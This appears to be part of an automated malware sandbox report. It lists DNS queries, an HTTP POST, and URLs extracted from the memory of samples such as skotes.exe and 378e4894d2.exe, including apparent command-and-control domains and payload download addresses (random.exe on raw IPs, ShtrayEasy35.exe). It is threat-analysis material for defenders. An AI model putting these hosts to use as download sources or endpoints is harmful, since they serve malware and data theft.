https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: shineugler.biz
Source: global traffic	DNS traffic detected: DNS query: hansgborn.eu
Source: global traffic	DNS traffic detected: DNS query: immureprech.biz
Source: global traffic	DNS traffic detected: DNS query: deafeninggeh.biz
Source: global traffic	DNS traffic detected: DNS query: effecterectz.xyz
Source: global traffic	DNS traffic detected: DNS query: diffuculttan.xyz
Source: global traffic	DNS traffic detected: DNS query: debonairnukk.xyz
Source: global traffic	DNS traffic detected: DNS query: wrathful-jammy.cyou
Source: global traffic	DNS traffic detected: DNS query: awake-weaves.cyou
Source: global traffic	DNS traffic detected: DNS query: sordid-snaked.cyou
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: drive-connect.cyou
Source: global traffic	DNS traffic detected: DNS query: tacitglibbr.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: shineugler.biz

Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Local
Source: skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/dw
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/es
Source: skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeQ
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeW
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeZ
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeM
Source: skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3128439872.0000000006232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe3u
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe450
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe569001
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe5T
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe5c
Source: skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe6139n
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeB
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exec
Source: skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exec61395d7fA
Source: skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exehpes~
Source: skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exenek
Source: skotes.exe, 00000005.00000002.3128439872.0000000006210000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exes
Source: skotes.exe, 00000005.00000002.3023335135.000000000152D000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3128439872.0000000006242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000005.00000002.3128439872.0000000006242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5568001
Source: skotes.exe, 00000005.00000002.3023335135.000000000152D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php7
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeH
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000005.00000002.3023335135.000000000152D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/flava/random.exe
Source: skotes.exe, 00000005.00000002.3023335135.000000000152D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/flava/random.exeW
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hansgborn.eu/ShtrayEasy35.exe
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 8418257119.exe, 0000000C.00000000.2618559984.0000000000423000.00000002.00000001.01000000.0000000E.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 378e4894d2.exe, 00000006.00000003.2553689810.0000000001529000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2564846017.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://awake-weaves.cyou/api
Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://awake-weaves.cyou/apii
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: 378e4894d2.exe, 00000006.00000003.2553689810.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566735179.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: 378e4894d2.exe, 00000006.00000003.2553689810.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566735179.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T
Source: 378e4894d2.exe, 00000006.00000003.2553689810.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.000000000158B000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566735179.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=foEB
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&l=e
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498006655.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/api
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/apip
Source: 378e4894d2.exe, 00000006.00000003.2553689810.0000000001529000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2564846017.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://debonairnukk.xyz/api
Source: 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://diffuculttan.xyz/api
Source: f2cd5ac1bd.exe, 0000001E.00000002.2954336549.00000000013EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/
Source: f2cd5ac1bd.exe, 0000001E.00000002.2954336549.0000000001414000.00000004.00000020.00020000.00000000.sdmp, f2cd5ac1bd.exe, 0000001E.00000002.2954336549.00000000013EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/api
Source: f2cd5ac1bd.exe, 0000001E.00000002.2954336549.0000000001414000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou:443/api
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498006655.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/VWSr
Source: 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498006655.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/api
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/api1
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/apilWSH
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/apiq
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/hQ
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz/pUX
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/-
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000003.2479048631.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/ShtrayEasy35.exe
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/ShtrayEasy35.exeL
Source: skotes.exe, 00000005.00000002.3023335135.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/ShtrayEasy35.exeb1d
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 378e4894d2.exe, 00000006.00000003.2552956109.00000000015AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/api
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: skotes.exe, 00000005.00000002.3023335135.000000000159C000.00000004.00000020.00020000.00000000.sdmp, random[1].exe2.5.dr, 8418257119.exe.5.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: 378e4894d2.exe, 00000006.00000002.2564846017.0000000001512000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001512000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498006655.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498138040.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2498006655.0000000001512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shineugler.biz/
Source: 378e4894d2.exe, 00000006.00000002.2563109445.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shineugler.biz/api
Source: 378e4894d2.exe, 00000006.00000002.2563109445.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://shineugler.biz/apiC
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 378e4894d2.exe, 00000006.00000002.2564846017.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553925267.000000000154E000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000003.2553689810.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sordid-snaked.cyou/api
